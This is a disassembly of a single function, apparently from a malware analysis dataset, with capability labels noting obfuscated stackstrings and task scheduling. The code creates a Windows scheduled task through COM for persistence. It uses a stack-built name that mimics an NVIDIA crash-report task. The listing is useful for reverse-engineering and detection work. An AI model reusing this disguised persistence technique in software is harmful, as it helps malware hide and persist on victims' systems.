Function at 0x404dcc
Capabilities:
Contain obfuscated stackstrings
Schedule task via itaskservice

Disassembly:
push 0x1f4
mov eax, 0x516b11
call fcn.004fb20b
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x15c], eax
xor esi, esi
push esi
push str._Gmae_A_Count:
push 0x573c60
call fcn.004035f7
pop ecx
pop ecx
mov ecx, eax
call fcn.00403972
push eax
call fcn.004044fe
inc esi
pop ecx
cmp esi, 0xa
jl 0x404de8
push ebx
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
push ebx
push 3
push 6
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x160]
push eax
push 0x54c860
push 1
push ebx
push 0x54ca70
call dword [sym.imp.ole32.dll_CoCreateInstance]
lea eax, [ebp - 0x1a4]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x1a4]
lea edi, [ebp - 0x1c4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x194]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x194]
lea edi, [ebp - 0x1d4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1b4]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x1b4]
lea edi, [ebp - 0x1e8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x200]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 0x10
mov edi, esp
lea esi, [ebp - 0x1c4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
sub esp, 0x10
mov edi, esp
lea esi, [ebp - 0x1d4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
sub esp, 0x10
mov edi, esp
lea esi, [ebp - 0x1e8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov byte [ebp - 4], 4
sub esp, 0x10
lea esi, [ebp - 0x200]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x28]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov edi, eax
lea eax, [ebp - 0x200]
push eax
call esi
lea eax, [ebp - 0x1b4]
push eax
call esi
lea eax, [ebp - 0x194]
push eax
call esi
lea eax, [ebp - 0x1a4]
push eax
mov byte [ebp - 4], bl
call esi
cmp edi, ebx
jne 0x40529c
push 0x5252a0
lea ecx, [ebp - 0x158]
call fcn.00401cc4
mov eax, dword [eax]
mov byte [ebp - 4], 5
cmp eax, ebx
je 0x404f4a
mov eax, dword [eax]
jmp 0x404f4c
xor eax, eax
mov ecx, dword [ebp - 0x160]
mov edx, dword [ecx]
lea esi, [ebp - 0x17c]
push esi
push eax
push ecx
call dword [edx + 0x1c]
mov ecx, dword [ebp - 0x158]
mov byte [ebp - 4], bl
cmp ecx, ebx
je 0x404f72
call fcn.00402aca
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
lea edx, [ebp - 0x154]
push edx
push ebx
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
lea edx, [ebp - 0x180]
push edx
push eax
call dword [ecx + 0x1c]
push str.Administrator
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x16c], eax
call fcn.00401c77
mov eax, dword [eax]
mov byte [ebp - 4], 6
cmp eax, ebx
je 0x404fbd
mov eax, dword [eax]
jmp 0x404fbf
xor eax, eax
mov ecx, dword [ebp - 0x180]
mov edx, dword [ecx]
push eax
push ecx
call dword [edx + 0x28]
mov ecx, dword [ebp - 0x158]
mov byte [ebp - 4], bl
cmp ecx, ebx
je 0x404fde
call fcn.00402aca
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
lea edx, [ebp - 0x168]
push edx
push eax
call dword [ecx + 0x3c]
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax]
push 3
push eax
call dword [ecx + 0x38]
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
lea edx, [ebp - 0x164]
push edx
push eax
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0x58]
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
lea edx, [ebp - 0x1d8]
push edx
push eax
call dword [ecx + 0x9c]
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
lea edx, [ebp - 0x184]
push edx
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x184]
mov ecx, dword [eax]
lea edx, [ebp - 0x1f0]
push edx
push 9
push eax
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
lea edx, [ebp - 0x174]
push edx
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
lea edx, [ebp - 0x170]
push edx
push ebx
push eax
call dword [ecx + 0x30]
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax]
lea edx, [ebp - 0x178]
push edx
push str.MbLk
push eax
call dword [ecx]
push 0xff
lea eax, [ebp - 0x14f]
push ebx
push eax
mov byte [ebp - 0x150], bl
call fcn.004fa610
mov dword [ebp - 0x50], 0x6d54764e
mov dword [ebp - 0x4c], 0x5f706552
mov dword [ebp - 0x48], 0x73617243
mov dword [ebp - 0x44], 0x70655268
mov dword [ebp - 0x40], 0x3274726f
mov dword [ebp - 0x3c], 0x32427b5f
mov dword [ebp - 0x38], 0x39314546
mov dword [ebp - 0x34], 0x252d3235
mov dword [ebp - 0x30], 0x36342d64
mov dword [ebp - 0x2c], 0x422d3343
mov dword [ebp - 0x28], 0x2d434541
mov dword [ebp - 0x24], 0x41303841
mov dword [ebp - 0x20], 0x41353341
mov dword [ebp - 0x1c], 0x38423543
mov word [ebp - 0x18], 0x7d
call fcn.004fa860
cdq
mov ecx, 0x3e8
idiv ecx
lea eax, [ebp - 0x50]
push edx
push eax
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push dword [ebp - 0x15c]
lea ecx, [ebp - 0x158]
call fcn.00401c77
mov eax, dword [eax]
mov byte [ebp - 4], 7
cmp eax, ebx
je 0x40516b
mov eax, dword [eax]
jmp 0x40516d
xor eax, eax
mov ecx, dword [ebp - 0x178]
mov edx, dword [ecx]
push eax
push ecx
call dword [edx + 0x2c]
mov ecx, dword [ebp - 0x158]
mov byte [ebp - 4], bl
cmp ecx, ebx
je 0x40518c
call fcn.00402aca
push 0x52528c
lea ecx, [ebp - 0x1b4]
call fcn.004012ac
mov esi, eax
lea edi, [ebp - 0x1e8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x194]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x194]
lea edi, [ebp - 0x1d4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1a4]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x1a4]
lea edi, [ebp - 0x1c4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x15c]
mov byte [ebp - 4], 0xa
movsd dword es:[edi], dword [esi]
call fcn.00401c77
mov eax, dword [eax]
mov byte [ebp - 4], 0xb
cmp eax, ebx
je 0x405206
mov eax, dword [eax]
jmp 0x405208
xor eax, eax
lea esi, [ebp - 0x1ec]
push esi
sub esp, 0x10
mov edi, esp
lea esi, [ebp - 0x1e8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 3
sub esp, 0x10
mov edi, esp
mov ecx, dword [ebp - 0x17c]
lea esi, [ebp - 0x1d4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edx, dword [ecx]
movsd dword es:[edi], dword [esi]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x1c4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 6
push dword [ebp - 0x154]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x44]
mov ecx, dword [ebp - 0x15c]
cmp ecx, ebx
je 0x405268
call fcn.00402aca
mov dword [ebp - 0x15c], ebx
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x1a4]
push eax
call esi
lea eax, [ebp - 0x194]
push eax
call esi
lea eax, [ebp - 0x1b4]
push eax
call esi
xor eax, eax
cmp dword [ebp - 0x16c], ebx
sete al
jmp 0x40529e
xor eax, eax
call fcn.004fb267
ret 4